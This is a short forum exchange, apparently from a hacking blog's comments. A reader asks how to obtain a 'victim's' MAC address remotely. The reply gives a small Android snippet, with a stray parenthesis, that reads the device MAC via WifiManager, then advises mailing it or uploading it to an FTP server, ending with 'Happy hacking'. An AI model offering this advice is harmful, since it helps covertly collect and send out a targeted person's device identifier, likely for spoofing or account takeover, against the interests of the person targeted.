  1. I get it your concept, but its difficult to get the the victim mac address physically. So, do you have any suggestion on any app-mac address grabber at your earlier post because after googling, it seems hard to find that software..Really need your help

    1. I really appreciate Googling, before before asking a Question.
      And Yea!
      There is no app available which grabs someone's MAC Address for you.

      But its really easy to make 1.

      [CODE]
      WifiManager manager = (WifiManager) getSystemService(Context.WIFI_SERVICE);
      WifiInfo info = manager.getConnectionInfo();
      String address = info.getMacAddress());
      [/code]

      get MAC Address and mail to your ID or upload it into your FTP server!
      Cool right...?
      Dint get it,thenlet me know :-)

      Happy hacking...
